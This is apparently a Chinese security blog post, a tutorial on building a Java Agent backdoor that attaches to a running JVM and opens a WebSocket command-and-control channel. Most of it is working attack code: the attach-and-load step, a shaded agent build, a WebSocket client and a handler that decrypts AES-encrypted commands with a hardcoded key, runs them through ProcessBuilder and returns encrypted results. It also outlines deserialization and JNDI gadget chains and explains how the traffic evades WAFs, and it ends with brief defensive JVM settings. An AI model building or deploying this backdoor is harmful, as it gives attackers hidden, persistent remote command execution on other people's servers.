Java Agent 注入 WebSocket 篇

Agent

如果要对其进行Agent注入的编写,需要先理解三个名字premain,agentmain,Instrumentation

premain方法在 JVM 启动阶段调用,一般维持权限的时候不会使用

agentmain方法在 JVM 运行时调用 常用的

Instrumentation实例为代理类提供了修改类字节码、监控类加载等功能

前言:为什么选择 Java Agent + WebSocket?

作为权限维持,落地的内存马容易被查杀到,使用Agent可以不改源码的前提下注入,监控,修改。

想法

看起来很正常的业务越不会被发现,甚至是对其进行替代

使用 java.lang.instrument 方式编写 Agent

利用 VirtualMachine.attach 动态挂载 agent,实现对正在运行的 Java 进程注入 WebSocket 后门

利用AES进行数据加密命令加密

长期维持通信信道

如果遇见自带有websocket的可以直接使用现有通信通道

可植入现有业务流程之中(如用户聊天系统、推送系统中)

配合 WebSocket 协议绕 WAF

注入的流程

连接注入JVM

静态注入容易被检测,所以我们采取动态注入,也就是在JVM运行的时候进行注入

复制代码
VirtualMachine vm = VirtualMachine.attach(pid);
//pid是JVM所在的服务,整个操作是连接JVM
vm.loadAgent(agentPath);

//agentPath是你要注入的agent的jar包
WebScoket C2

制作WebSocket的步骤

参考一下我的pom

复制代码
    <dependencies>

        <dependency>
            <groupId>org.glassfish.tyrus</groupId>
            <artifactId>tyrus-server</artifactId>
            <version>2.1.1</version>
        </dependency>
        <dependency>
            <groupId>org.json</groupId>
            <artifactId>json</artifactId>
            <version>20210307</version>
        </dependency>
        <dependency>
            <groupId>org.java-websocket</groupId>
            <artifactId>Java-WebSocket</artifactId>
            <version>1.5.2</version>
        </dependency>
    </dependencies>

比较重要的是,有一些依赖需要直接跟随打包

复制代码
<build>
    <plugins>
        <plugin>
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-shade-plugin</artifactId>
            <version>3.2.4</version>
            <executions>
                <execution>
                    <phase>package</phase>
                    <goals>
                        <goal>shade</goal>
                    </goals>
                    <configuration>
                        <transformers>
                            <transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
                                <manifestEntries>
                                    <Premain-Class>org.example.MyAgent</Premain-Class>
                                    <Agent-Class>org.example.MyAgent</Agent-Class>
                                    <Can-Redefine-Classes>true</Can-Redefine-Classes>
                                    <Can-Retransform-Classes>true</Can-Retransform-Classes>
                                </manifestEntries>
                            </transformer>
                        </transformers>
                    </configuration>
                </execution>
            </executions>
        </plugin>
    </plugins>
</build>
<!--  里面的属性数据需要根据自己需求来修改  -->
Websocket管理器(看起来像正常业务)
复制代码
package org.example;

import java.util.Base64;

public class WSManager {
    private static WSClient client;

    public static void setClient(WSClient c) {
        client = c;
    }

    public static void sendEncrypted(String plaintext) {
        try {
            byte[] encrypted = AES.encrypt(plaintext, "1234567890abcdef");
            client.send(Base64.getEncoder().encodeToString(encrypted));
        } catch (Exception ignored) {}
    }
}

上面代码主要的作用是对其进行数据发送加密处理

复制代码
package org.example;

import org.java_websocket.client.WebSocketClient;
import org.java_websocket.handshake.ServerHandshake;

import java.net.URI;

public class WSClient extends WebSocketClient {

    public WSClient(URI serverUri) {
        super(serverUri);
    }

    @Override
    public void onOpen(ServerHandshake handshakedata) {
        WSManager.setClient(this);
    }

    @Override
    public void onMessage(String message) {
        CommandHandler.handle(message);
    }

    @Override
    public void onClose(int code, String reason, boolean remote) {

    }

    @Override
    public void onError(Exception ex) {
        ex.printStackTrace();
    }
}
//简单的一个客户端的样子
命令执行部分CommandHandler
复制代码
package org.example;

import org.json.JSONObject;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Base64;
import java.util.stream.Collectors;

public class CommandHandler {
    public static void handle(String msg) {
        try {
            String json = AES.decrypt(Base64.getDecoder().decode(msg), "1234567890abcdef");
            //先对其进行解密
            JSONObject obj = new JSONObject(json);
            String type = obj.getString("type");
            String payload = obj.getString("payload");
            //对其进行json处理,像正常业务
            if ("exec".equals(type)) {
                ProcessBuilder pb = new ProcessBuilder(payload.split(" "));
                pb.redirectErrorStream(true);
                //命令执行
                String result = new BufferedReader(
                        new InputStreamReader(pb.start().getInputStream()))
                        .lines().collect(Collectors.joining("\n"));
            //正常返回结果
                JSONObject res = new JSONObject();
                res.put("type", "result");
                res.put("payload", result);

                WSManager.sendEncrypted(res.toString());
                //加密返回
            }

        } catch (Exception ignored) {
            ignored.printStackTrace();
        }
    }
}
数据包部分

这是在执行命令并且返回回来后的数据包,除了发送命令过去的时候会是明文,但也可以对其进行修改

从数据包中,看不出什么异常,避免了WAF的检测

拓展

复制代码
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decodedBytes));
Object cmdObj = ois.readObject();
//如果觉得这样的执行可能被检测到
//CC链
BadAttributeValueExpException
    -> toString()
    -> Transformer (InvokerTransformer)
    -> Runtime.getRuntime().exec()

//Spring BeanFactory
TemplatesImpl
  -> getOutputProperties()
  -> 触发字节码加载
  -> 加载恶意类字节码
//JDBC
JdbcRowSetImpl
  -> setDataSourceName("rmi://xxxxxx/obj")
  -> getDatabaseMetaData()
  -> JNDI 注入

防御

JVM添加参数

复制代码
-Djdk.attach.allowAttachSelf=false

移除 JVM 的 Attach 功能

复制代码
$JAVA_HOME/lib/tools.jar
$JAVA_HOME/lib/libattach.so   (Linux)
$JAVA_HOME/jre/lib/libattach.dylib (macOS)

运行截图

先启动了监听端

添加了一部分输出,让其更明显

免杀效果?

相关推荐
DourPanda40 分钟前
polarctf-web-[rce1]
linux·网络协议·网络安全
Johny_Zhao9 小时前
VMware workstation 部署微软MDT系统
网络·人工智能·信息安全·微软·云计算·系统运维·mdt
禾木KG10 小时前
网络安全-等级保护(等保) 2-5-1 GB/T 25070—2019 附录B (资料性附录)第三级系统安全保护环境设计示例
网络安全
云手机管家10 小时前
账号风控突破:云手机设备指纹篡改检测与反制技术解析
android·运维·网络协议·网络安全·智能手机·矩阵·自动化
木下-俱欢颜19 小时前
搭建基于chrony+OpenSSL(NTS协议)多层级可信时间同步服务
运维·网络安全·udp·ssl
Le_ee20 小时前
sqli-labs靶场第七关——文件导出注入
数据库·sql·网络安全·php·sql注入·sqli—labs
TinpeaV21 小时前
websocket入门详解
java·网络·spring boot·websocket·网络协议
-曾牛21 小时前
基于微信小程序的在线聊天功能实现:WebSocket通信实战
前端·后端·websocket·网络协议·微信小程序·小程序·notepad++
mooyuan天天21 小时前
DVWA靶场通关笔记-SQL注入(SQL Injection Medium级别)
web安全·渗透测试·sql注入·sql注入漏洞·dvwa靶场
一口一个橘子1 天前
[ctfshow web入门] web72
前端·web安全·网络安全